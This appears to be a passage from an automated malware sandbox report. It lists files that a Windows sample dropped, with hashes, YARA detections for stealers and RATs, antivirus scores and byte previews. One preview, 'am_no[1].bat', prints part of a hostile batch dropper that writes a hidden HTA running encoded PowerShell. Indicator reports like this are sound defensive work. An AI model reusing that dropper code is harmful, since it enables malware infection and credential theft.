SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.236007213199359
Encrypted:	false
SSDEEP:	6:kKH/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:niDImsLNkPlE99SNxAhUe/3
MD5:	7390C159D7A55A98836641D3EFA44D3B
SHA1:	2F53095B6911D96754ED5B6828892D7562831135
SHA-256:	C8C4A2800F5CDC82BF5B5C31CFA82F176AA17EC160A1965BCCAB3F76A85BDEC0
SHA-512:	01B3FE627EB079586EA73C523D453CCC32BFA878B9633D1C081267EBF855328750F1A7E8E7F90B5E88B0BDAA27478E41BD24C45838F9B8EDB93ADC0011991F4B
Malicious:	false
Preview:	p...... .............e..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\WZMQlGj[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	320512
Entropy (8bit):	6.8410759088706365
Encrypted:	false
SSDEEP:	6144:dLOYkR28yAQDc35Vn7VrGMVhwWQUoSwts9S2rkvLiV+/v/P/v/P/v/P/v/0EdF0n:6gbDC59VrGMNbm2SEkDA+/v/P/v/P/vE
MD5:	9A687D1ACBA1F61C2BDCB9B479BC9FA6
SHA1:	3BE6142C0815010467A52398BC78375DE4C73C0D
SHA-256:	A9CD9868BCD59153703B6EDAAFEC9EFA4F4D303DB3E0216CC2CCC0E5A381AB19
SHA-512:	34CEDF0E6AE105471FCA93B89AFADBDA74663F045EF7243D9BA6D7C7F89BDCA1737B6208CB1BB13876CF53FD877D454AFA487F18015C1DF1EF5B41AB1C7AB202
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....g.................(..........@.............@.......................................@..................................[...............................@...>..................................................<\...............................text...R'.......(.................. ..`.rdata..q....@... ...,..............@..@.data... ....`...X...L..............@....reloc...>...@...@..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	91648
Entropy (8bit):	6.751363161620825
Encrypted:	false
SSDEEP:	1536:T7fPGykbOqjoHm4pICdfkLtAfupcWX50MxFY+yIOlnToIfCxM8jO+:Pq6+ouCpk2mpcWJ0r+QNTBfCCW
MD5:	594C5B62E08311E01197A10A18CECB7B
SHA1:	FDB7E65BF47EC175E2924939D39823EDAA219307
SHA-256:	85D7099E80876F3C4EB1E08241443B4EF658048CFBAA6DF1F2A5EF4C48A3A330
SHA-512:	3D680F8FFCB9E43CC9569DA320EF162667CDD6869E576AF7A661204C4F2DD99DD7D95E5858C0361EC883BE465EE5A48AF51C430B850EF2837A451FF0EF0D939C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Babadeda, Description: Yara detected Babadeda, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...b.@]...............2.....V...............0....@.........................................................................\|q......................................................................................pt..,............................code....7.......8.................. ..`.text........P.......<.............. ..`.rdata...3...0...4..................@..@.data...,....p.......D..............@....rsrc................V..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	1261568
Entropy (8bit):	7.954940693845255
Encrypted:	false
SSDEEP:	24576:B7uq1dpJuMQmuQlLMdyIMUcqviYspZpvF9kEWUunxvjfW25ppFZU2yM:MspG5MAzgqvijHN9PEx7fH5ppYzM
MD5:	FE5DA49CFD4533C503BFE6E0C1C068E5
SHA1:	0BBE0E206AA9B27160DC20D3EEC9ACE6180032CC
SHA-256:	DBE6D4DC6FA99F12255E844EDFF6170415C4E7417AB6ABBBD2B2DDF8AC8961CB
SHA-512:	E563CD1D170AC49EA161D936ABA70AACB3F1EB21F5CCF6946525C1550BDEF8B8C811F91450B1F1B8DB85EFF6DBD84C36F270D5715D76E3845FC8A93735E3C848
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S.pg..............................L...........@...........................M.....P.................................L.W...Vp..j....`.......................q...................................................................................... . .P..........................@....rsrc........`......................@....idata .....p......................@... ..,.........................@...gyqqudfz.....P2..~..................@...uqvvkgld......L...... ..............@....taggant.0....L.."...$..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\am_no[1].bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	DOS batch file, ASCII text, with very long lines (798), with CRLF line terminators
Category:	dropped
Size (bytes):	2647
Entropy (8bit):	5.145410375718783
Encrypted:	false
SSDEEP:	48:BouU8rgHHGM16HA3Ux6D9hfa1LGYGYOVUGCGWjfNc:Ku+GM16HA3Ux6D9hf0GYGYiUGCGW+
MD5:	60A6A701A24DFDDA548EB29F31A56894
SHA1:	1C985FB0B242198D894E45AA6DB63A815196E14B
SHA-256:	62A4921C9AEB3C01610E29B491B8FFF34E87940290B680C03873847DEE765D2F
SHA-512:	6F1722FB0E623B35194288D2CCBF5BA481F2527E24522B5FEC34F1E000F9C5568EB5E1F0CD873B12E3882177A4DC7AAE142EC51DF7C9950E15E10BDDC6AA1A9E
Malicious:	false
Preview:	@echo off..if "%~1" == "" (start "" /min "%comspec%" /c "%~f0" any_word & exit /b)....set "filePath=%SystemDrive%\Temp"..if not exist "%filePath%" (.. mkdir "%filePath%".. timeout /t 2 >nul.. if not exist "%filePath%" exit /b..)....for /f "tokens=*" %%i in ('powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 9 \| ForEach-Object {[char]$_})"') do set "htaName=%%i"..set "htaFile=%filePath%\%htaName%.hta"....(.. echo ^<script^>.. echo try {.. echo moveTo(-100, -100^);.. echo resizeTo(0, 0^);.. echo var a = new ActiveXObject('Wscript.Shell'^);.. echo var script = decodeURIComponent("%%50%%6f%%77%%65%%72%%53%%68%%65%%6c%%6c%%20%%2d%%57%%69%%6e%%64%%6f%%77%%53%%74%%79%%6c%%65%%20%%48%%69%%64%%64%%65%%6e%%20%%24%%64%%3d%%24%%65%%6e%%76%%3a%%74%%65%%6d%%70%%2b%%27%%5c%%34%%38%%33%%64%%32%%66%%61%%38%%61%%30%%64%%35%%33%%38%%31%%38%%33%%30%%36%%65%%66%%65%%62%%33%%32%%64%%33%%2e%%65%%78%%65%%27%%3b%%28%%4e%%65%%77%%2d%%4f%%6

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\oavvDqT[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	17585152
Entropy (8bit):	5.085368263408538
Encrypted:	false
SSDEEP:	98304:hgeG6+fSJ1BaB1C6PgwkcU3Mze4JjSkQU44WDTaVQat:WexCCgfwcze2jSkYnQ
MD5:	A0536969D73946775B6F51A3475909A1
SHA1:	072797384D688F14C039AAD171DFA946EB33E426
SHA-256:	86E59DBC0C9C22B448CB18997086841579338A16CE9C95B796B0089EBA69C8A2
SHA-512:	BBFDADD86EF174926B36DBF9A74F98F132986A6BFD8ADB40BB74DE40F817C9C8AD248C834896679C0156B91B184B97473981D21526E4C761A5D2E08204396144
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........Rf...............,..z.......L........Y...@..........................p.......i....@...................................g......pi.`.....................g.8M.................................................. .Y..............................text...e.,.......,................. ..`.rdata...z-.. ,..\|-...,.............@..@.data...h]....Y..z....Y.............@....idata........g.......d.............@....reloc..8M....g..N....d.............@..B.symtab......`i......Rf................B.rsrc...`....pi......Tf.............@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\oldVNC[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5766144
Entropy (8bit):	7.178905164748844
Encrypted:	false
SSDEEP:	98304:1JEDoqN7quaPO1NxYp47T0NxO0yhhSXnvKL4Jw0ZTV:aZxqufKQQxO0yOXyU60
MD5:	E93AE1069DB1872A792F4DADCE02EC26
SHA1:	0A35E134DCEC55EBE0C58BAE72F72505AB02384A
SHA-256:	E0F37B772074ACD08E74D9CB1D349AFCFEC7A93D7E922EEFD43EE0501DDD78CF
SHA-512:	FB6DB2FD48C631FF94417ADB804F6B512A365C5FABBDB412AA5578F4820BB5FB7479E62CEDC3E670DC0D628052D42F5AB06A88BA53A3EC259DB53006E3B6406B
Malicious:	true
Yara Hits:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\oldVNC[1].exe, Author: Joe Security Rule: JoeSecurity_DanaBot_stealer_dll, Description: Yara detected DanaBot stealer dll, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\oldVNC[1].exe, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_GENInfoStealer, Description: Detects executables containing common artifcats observed in infostealers, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\oldVNC[1].exe, Author: ditekSHen
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...\|.g..................O..6......D.O.......O...@...........................Y..................@....................T......PT..A....X..X....................T...............................T.....................P]T.......T......................text....O.......O................. ..`.itext..`.....O.......O............. ..`.data.........O.......O.............@....bss.........S..........................idata...A...PT..B....S.............@....didata.......T.......S.............@....edata........T.......S.............@..@.tls....(.....T..........................rdata..\.....T.......S.............@..@.reloc........T.......S.............@..B.rsrc....X....X..X....W.............@..@..............Y.......W.............@..@................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\bKIFsVe[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1918464
Entropy (8bit):	7.951316404857319
Encrypted:	false
SSDEEP:	49152:MspG5MAzgqvijHN9PEx7fH5ppYzNRTWDd00p:Mspavij3PQfHq2
MD5:	38A3DB1B2362BFB8E0E0537F4299796A
SHA1:	CB9FA3AC3BE23AC224CAE3A7BE61D3D107E8B82C
SHA-256:	5E8D457A37AD2335F9EBDDF695BD870F4222E943D2E747D66689FE86070E262A
SHA-512:	DC72FE003B9737734FEE90ACD6E84CC6797F4D3402C5C11BB6780AF0FC7587ED5BE65DD506A069193E5FE3C85240515514E0ACB2F94A9B7F8050B1BEEB8A4B26
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 32%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S.pg..............................L...........@...........................M.....P.................................L.W...Vp..j....`.......................q...................................................................................... . .P..........................@....rsrc........`......................@....idata .....p......................@... ..,.........................@...gyqqudfz.....P2..~..................@...uqvvkgld......L...... ..............@....taggant.0....L.."...$..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1862656
Entropy (8bit):	7.948599836581905
Encrypted:	false
SSDEEP:	49152:rDkkAop+TLsW5xkqwv/EacgzrNquyogwHVlr7B:rD1p6f5eqwvPckrNqupgwHX
MD5:	0EBEFA244B6FD0B53F07EBA2BB46A6F4
SHA1:	1AD9098B272012678469E571D4E58CC747E9EF4F
SHA-256:	D10112CEDE0D7E86D44696C5F44218DF7DD0FE35CB5FA3251989D10B75F31D7E
SHA-512:	40F6726E23B2C983A8B2CE2555DFEF3164614FB299D032A79AE3924EBF0467AD998AD086071363AA7566B3871132106965E995DDE56BFA1D7B9E76AD27D3FCE9
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....g.................(...........`I...........@...........................I......3....@.................................WP..k....@.......................Q...................................................................................... . .0.......z..................@....rsrc........@......................@....idata .....P......................@... .0*..`......................@...xhiufuko....../.....................@...afrfmmjg.....PI......D..............@....taggant.0...`I.."...J..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3136512
Entropy (8bit):	5.8478854576317305
Encrypted:	false
SSDEEP:	49152:TPCQNqtC2GqQOsgUBo3B3kNC3H6vUZTr/N3e:TPVl2GqQtk
MD5:	441DA4796862373EC5F2EBC9A26AF14A
SHA1:	ADDD34940584810BF67EA80923728DD5FA9FF3DA
SHA-256:	D3C9A4541F5FFAB522695055A082F9DFE250FCAEE5CFE46A9D52581C6169B5AC
SHA-512:	682BFF4C1756A72BE47219BA79A3CD50AF21FEE439C8C00DA46CB93E67C9D20A3B28220AC10D875577ED2017B16F9B8654BDE6891AD6BAAD5C7E8EAA7A148BD2
Malicious:	true
Yara Hits:	Rule: JoeSecurity_VenomRAT, Description: Yara detected VenomRAT, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, Author: Joe Security Rule: JoeSecurity_BrowserPasswordDump_1, Description: Yara detected BrowserPasswordDump, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic_3, Description: Yara detected Keylogger Generic, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, Author: unknown Rule: infostealer_win_stealerium, Description: Detects Stealerium based on specific strings, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, Author: Sekoia.io Rule: infostealer_win_stormkitty, Description: Finds StormKitty samples (or their variants) based on specific strings, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, Author: Sekoia.io Rule: rat_win_dcrat_qwqdanchun, Description: Find DcRAT samples (qwqdanchun) based on specific strings, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, Author: Sekoia.io Rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts, Description: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc., Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice, Description: Detects executables attemping to enumerate video devices using WMI, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_References_VPN, Description: Detects executables referencing many VPN software clients. Observed in infosteslers, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID, Description: Detects executables referencing Windows vault credential objects. Observed in infostealers, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, Author: ditekSHen Rule: MALWARE_Win_StormKitty, Description: Detects StormKitty infostealer, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...if\g................../.........../.. ....0...@.. .......................@0...........@.................................p./.K.....0...................... 0...................................................... ............... ..H............text...../.. ..../................. ..`.rsrc.........0......./.............@..@.reloc....... 0......./.............@..B................../.....H...........X............G.................................................<...4..#.V.w.d!...HAZ.......I.1.......Y.T8D.c[..2......njlO.s]yx.<.mt8*......B...-..rI...g...:.m..e.........j{Um7..9.;...$.QW.....AA0V0y.h`4bE.=...W.......M.&,..C....:.]).#..l.AG8.B..3O);.."..L."..p...<1.9;.YF. .8f.K?........WEw.:.7i(}...jY.2.]u{.....1C..r....h..:.b....vJ.......n............5.).c.....ati..S......./r6..8X.....N.d./....xeN.[.>.....F$.y'E}..+...iG.<d.7..J.zc`./H.z...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\13Z5sqy[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4948992
Entropy (8bit):	5.8411242122940825
Encrypted:	false
SSDEEP:	98304:Epj/gWOIh9I7Uz5d7r3iP9PIKuSxn/W0mHdw6nSh+0IBtsTr:ErOIhkS33iFP3uSx/W0GdZSh96sH
MD5:	E8A5869F5D620B5B33B70EA5ACCB6AE9
SHA1:	4B32DC8C35809943D9FAFA765FF10062482F951B
SHA-256:	CF5861257BA354918CA373F76D8F6870439FC6BD4D2F04D61E872135109E7A8F
SHA-512:	A4ED9994C3070347C54D03A81918C1BE1193906C3418F6B48A18D5C67A1161843ADFC8B699CFFC4EF37EF673050D9AB32EE747E8BBFE8F7DF5C9D8D3C6D22150
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 58%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........S...=...=...=.t>...=.t8.n.=.t9...=..s>...=..s9...=..s8...=.t<...=...<.u.=.{s9...=.{s?...=.Rich..=.................PE..L...O..g.................E.........#."...........@..........................pn.....+.K...@.................................\|.k.x.... m..M...................`k..\..P.j.8...........................h.j.@.............k.\|............................textbss.}"..............................text...R.E..."...E................. ..`.rdata...j...`h..l....E.............@..@.data....>....j.....4H.............@....idata........k......^H.............@..@.msvcjmc.....0k......tH.............@....00cfg.......@k......vH.............@..@.fptable.....Pk......xH.............@....reloc.......`k......zH.............@..B.rsrc....M... m..N...6J.............@..@........................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\HNsLLEj[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	91760
Entropy (8bit):	7.094307135275264
Encrypted:	false
SSDEEP:	1536:jrhMIF6xOiZ2ENwVKs+axj60Gya1yxIdW4FBr5laHwREObL/ZOPxVC:jQkjVKsfxj6CR8Wi5lSmEObLh6xVC
MD5:	BCB905E5911BB8FE587B8FDF40495F08
SHA1:	18BA62FD0C132DAC1651C7D5639F3EF10AEFF2FC
SHA-256:	4DB911C4F22EBA9B8AA619453E46010AAFD344F4BF0B2346E88AFC6E7648B0F0
SHA-512:	89251A078DCC1B6C161684C34280E8A6B5392AA2F647C6CE7A51C4BA3391B1698394EBA396BAA8A467598F6E352EA5E5F5A05B514A09ECD6D0466AAB837BCC12
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\HNsLLEj[1].exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...=.U...............0.................. ........@.. ....................................`.....................................K....................@..p&..........T................................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.idata...v... ...v......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\json[1].json

Download File

Process:	C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.369391670490141
Encrypted:	false
SSDEEP:	48:SfNaoCF3fTECF5fNaoCW5CWTfNaoCUhthQCUhQfNaoCKmAh60UrU0U8CKf:6NnCBTECjNnCsCMNnC4TQC4cNnCKmE6b
MD5:	4DEB6654113200E447FE6EEF8CB2888C
SHA1:	228542E6A7543BA80A40940FB66C1C17D9664332
SHA-256:	4D9EC4BD90B57D7E290B4878B0A951DBB9457ED7A12E86D627F69852FDD315D0
SHA-512:	51BBF3F9AC97F3A0695A861E5DFAFA7BD87AE78C53A33D21EE323AA23621773F18853DC683E341FBE537337B89B0C97BE436E60CED2A5C0AB0CF4A69C559F92E
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/FAE5BF4AE9A2DC2935843AE7C1E44DC1",.. "id": "FAE5BF4AE9A2DC2935843AE7C1E44DC1",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/FAE5BF4AE9A2DC2935843AE7C1E44DC1"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/F74A4374069B6F8140582A01E94EDB5D",.. "id": "F74A4374069B6F8140582A01E94EDB5D",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/F74A4374069B6F8140582A01E94EDB5D"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1949184
Entropy (8bit):	7.951564069562092
Encrypted:	false
SSDEEP:	49152:KLB79oBXD41RKjOYmvOnYUNthxgTiEcc/:QBWBXEKjOYzYUNt7fXc/
MD5:	815D10533B90709F0F9E7C473B74277B
SHA1:	2EE6098AA6BBD879AC9369205F2927ED34B71022
SHA-256:	ED0D69F8548090305F603C52980415A7397BA3B65477563701A63E8F6FB0B464
SHA-512:	4D2874F7B3F275BEFBCED167CADA3519A48D0EE62499E5170CDEC535A0D693F0BDD04FD7CAFA0832D05C0AD78A30D20398C62686225A4B018DBF92137812A0AA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....@.f.............................@M...........@..........................pM...........@.................................W...k............................/M.............................p/M..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...mqypurkv......2.....................@...yfljshoc.....0M.....................@....taggant.0...@M.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\1034725001\oavvDqT.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	17585152
Entropy (8bit):	5.085368263408538
Encrypted:	false
SSDEEP:	98304:hgeG6+fSJ1BaB1C6PgwkcU3Mze4JjSkQU44WDTaVQat:WexCCgfwcze2jSkYnQ
MD5:	A0536969D73946775B6F51A3475909A1
SHA1:	072797384D688F14C039AAD171DFA946EB33E426
SHA-256:	86E59DBC0C9C22B448CB18997086841579338A16CE9C95B796B0089EBA69C8A2
SHA-512:	BBFDADD86EF174926B36DBF9A74F98F132986A6BFD8ADB40BB74DE40F817C9C8AD248C834896679C0156B91B184B97473981D21526E4C761A5D2E08204396144
Malicious:	true
